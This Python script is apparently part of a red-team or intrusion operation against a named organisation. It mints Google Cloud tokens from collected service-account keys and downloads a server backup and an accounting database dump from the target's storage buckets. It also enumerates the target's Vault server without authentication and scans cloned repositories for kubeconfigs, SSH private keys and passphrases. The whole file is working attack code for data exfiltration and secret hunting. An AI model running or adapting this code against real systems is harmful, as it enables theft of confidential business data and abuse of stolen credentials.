#!/usr/bin/env python3
"""GCS deepening + Vault auth enum + on-prem k8s intel (operator GO 2026-08-14, vectors 3/4/6).

(3) GCS read: latest blackhole-backup daily .tgz.bz2 (server backup) +
    accounting_v6.sql (151MB, latest 2026-02) — downloads/ (binary mode).
(4) Vault: unauth enum — /v1/sys/health (done), /v1/sys/auth, /v1/sys/mounts,
    /v1/sys/internal/ui/mounts (UI pre-auth leak), /v1/sys/seal-status,
    plus well-known unauth paths. All GET, no auth attempts (no brute force).
(6) On-prem k8s intel: search cloned repos + L2 blob hits for kubeconfig,
    INNO_K8S_PASSPHRASE, ssh keys, chartmuseum/Jenkins endpoints. Local-only.

Out: downloads/…, vault_enum_aug14.json, onprem_k8s_intel_aug14.json, OPLOG.
"""
import base64
import importlib.util
import json
import re
import subprocess
import sys
import time
import urllib.parse
import urllib.request
import ssl
from datetime import datetime, timezone
from pathlib import Path

ROOT = Path('/root/ir-assessment')
DOSSIER = ROOT / 'redteam/gitlab_pharmalink_id'
KEYS_DIR = DOSSIER / 'gcp_keys'
DL = DOSSIER / 'downloads'

spec = importlib.util.spec_from_file_location('l2s', str(ROOT / 'redteam/l2_aug06_sweep.py'))
l2s = importlib.util.module_from_spec(spec)
spec.loader.exec_module(l2s)

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE

def oplog(dst, tool, cmd, desc, output, result):
    ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M')
    with open(DOSSIER / 'OPLOG.md', 'a') as f:
        f.write(f"{ts} | local | {dst} | {tool} | {cmd} | {desc} | {output} | {result} | none | vectors 3/4/6\n")

def b64url(b):
    return base64.urlsafe_b64encode(b).rstrip(b'=')

def load_sa(project_id):
    for f in sorted(KEYS_DIR.iterdir()):
        try:
            d = json.loads(f.read_text())
        except Exception:
            continue
        if isinstance(d, dict) and d.get('type') == 'service_account' and d.get('project_id') == project_id:
            return d
    return None

def mint_token(sa):
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import padding
    now = int(time.time())
    hdr = {'alg': 'RS256', 'typ': 'JWT', 'kid': sa['private_key_id']}
    cl = {'iss': sa['client_email'], 'scope': 'https://www.googleapis.com/auth/cloud-platform',
          'aud': 'https://oauth2.googleapis.com/token', 'iat': now, 'exp': now + 3600}
    si = b64url(json.dumps(hdr).encode()) + b'.' + b64url(json.dumps(cl).encode())
    key = serialization.load_pem_private_key(sa['private_key'].encode(), None)
    jwt = (si + b'.' + b64url(key.sign(si, padding.PKCS1v15(), hashes.SHA256()))).decode()
    data = urllib.parse.urlencode(
        {'grant_type': 'urn:ietf:params:oauth:grant-type:jwt-bearer', 'assertion': jwt}).encode()
    st, body = l2s.req('https://oauth2.googleapis.com/token', method='POST', data=data,
                       headers={'Content-Type': 'application/x-www-form-urlencoded'})
    return json.loads(body)['access_token'] if st == 200 else None

def gcs_download(tok, bucket, name, dest):
    enc = urllib.parse.quote(name, safe='')
    url = f'https://storage.googleapis.com/download/storage/v1/b/{bucket}/o/{enc}?alt=media'
    r = urllib.request.Request(url, headers={'Authorization': f'Bearer {tok}'})
    with urllib.request.urlopen(r, timeout=600, context=CTX) as resp:
        raw = resp.read()
    Path(dest).write_bytes(raw)
    return len(raw)

def main():
    report = {}

    # ---- (3) GCS deepening ----
    print('[*] (3) GCS deepening', file=sys.stderr)
    sa = load_sa('cfu-main')
    tok = mint_token(sa)
    listing = json.loads((DOSSIER / 'gcs_listing_aug14.json').read_text())
    # latest blackhole backup
    bh = listing['cfu-main']['cfu-main-blackhole-backup']['items']
    latest = max(bh, key=lambda x: x['u'])
    targets = [
        ('cfu-main-blackhole-backup', latest['n'], f"downloads/cfu-main-blackhole-backup__{latest['n'].replace('/', '_')}"),
        ('cfu-main-sql-migrate', 'financeacc/accounting_v6.sql', 'downloads/cfu-main-sql-migrate__financeacc__accounting_v6.sql'),
    ]
    report['gcs'] = []
    for bucket, name, dest in targets:
        try:
            n = gcs_download(tok, bucket, name, DOSSIER / dest)
            report['gcs'].append({'obj': f'{bucket}/{name}', 'bytes': n, 'file': dest, 'ok': True})
            print(f'  [+] {bucket}/{name}: {n} bytes', file=sys.stderr)
        except Exception as e:
            report['gcs'].append({'obj': f'{bucket}/{name}', 'ok': False, 'error': str(e)[:150]})
            print(f'  [-] {bucket}/{name}: {e}', file=sys.stderr)
    oplog('storage.googleapis.com:443', 'urllib/GET alt=media (binary)',
          f'download blackhole latest ({latest["n"]}, {latest["s"]}b) + accounting_v6.sql',
          'GCS deepening vector 3',
          '; '.join(f"{g['obj'].split('/')[-1]}={g.get('bytes','FAIL')}" for g in report['gcs']),
          'SUCCESS' if all(g['ok'] for g in report['gcs']) else 'PARTIAL')

    # ---- (4) Vault unauth enum ----
    print('[*] (4) Vault enum', file=sys.stderr)
    paths = ['/v1/sys/health', '/v1/sys/seal-status', '/v1/sys/auth', '/v1/sys/mounts',
             '/v1/sys/internal/ui/mounts', '/v1/sys/internal/ui/namespaces',
             '/v1/sys/leader', '/v1/sys/version-history', '/v1/sys/host-info',
             '/v1/sys/init', '/v1/sys/replication/status', '/v1/sys/wrapping/lookup']
    vout = {}
    for p in paths:
        st, body = l2s.req('https://vault.pharmalink.id' + p)
        try:
            vout[p] = {'http': st, 'body': json.loads(body)}
        except Exception:
            vout[p] = {'http': st, 'body': body[:200]}
        print(f'  {p}: {st}', file=sys.stderr)
    report['vault'] = vout
    (DOSSIER / 'vault_enum_aug14.json').write_text(json.dumps(vout, indent=1, ensure_ascii=False))
    oplog('vault.pharmalink.id:443', 'urllib/GET', 'unauth enum 12 sys paths (no auth attempts)',
          'Vault auth/mounts enum vector 4',
          '; '.join(f'{p.split("/")[-1]}={v["http"]}' for p, v in vout.items()), 'SUCCESS')

    # ---- (6) on-prem k8s intel (local-only) ----
    print('[*] (6) on-prem k8s intel', file=sys.stderr)
    hits = {}
    pats = {
        'kubeconfig': re.compile(r'apiVersion:\s*v1[\s\S]{0,200}kind:\s*Config|certificate-authority-data|client-key-data', re.I),
        'passphrase': re.compile(r'INNO_K8S_PASSPHRASE|sshpass|kubepass|kube.*pass', re.I),
        'ssh_key': re.compile(r'BEGIN (RSA|OPENSSH|EC) PRIVATE KEY'),
        'jenkins': re.compile(r'jenkins|chartmuseum|nexus|harbor', re.I),
        'endpoint': re.compile(r'https?://\d{1,3}(\.\d{1,3}){3}(:\d+)?|server:\s*https?://\S+', re.I),
    }
    search_roots = [DOSSIER / 'repos']
    for rootdir in search_roots:
        for f in rootdir.rglob('*'):
            if not f.is_file() or '.git' in f.parts:
                continue
            try:
                txt = f.read_text(errors='ignore')
            except Exception:
                continue
            for pname, pat in pats.items():
                if pat.search(txt):
                    hits.setdefault(pname, []).append(str(f.relative_to(DOSSIER)))
    # also search L2 blob hits for kube-related secrets
    l2 = json.loads((DOSSIER / 'L2_full_aug14.json').read_text())
    kube_hits = [h for h in l2['blob_hits'] if re.search(r'(?i)kube|k8s|helm|tiller|docker.?config|registry', h.get('path','') + h.get('snippet',''))]
    report['onprem'] = {'repo_pattern_hits': hits, 'l2_kube_blobs': len(kube_hits),
                        'l2_kube_sample': [{'proj': h['proj'], 'path': h['path']} for h in kube_hits[:20]]}
    (DOSSIER / 'onprem_k8s_intel_aug14.json').write_text(json.dumps(report['onprem'], indent=1, ensure_ascii=False))
    oplog('local', 'grep/rglob', 'kubeconfig/passphrase/ssh/jenkins/endpoint patterns over repos/ + L2 blobs',
          'on-prem k8s intel vector 6',
          '; '.join(f'{k}={len(v)}' for k, v in hits.items()) + f'; l2_kube_blobs={len(kube_hits)}', 'SUCCESS')

    (DOSSIER / 'vector346_aug14.json').write_text(json.dumps(report, indent=1, ensure_ascii=False, default=str))
    print('[+] -> vector346_aug14.json', file=sys.stderr)

if __name__ == '__main__':
    main()
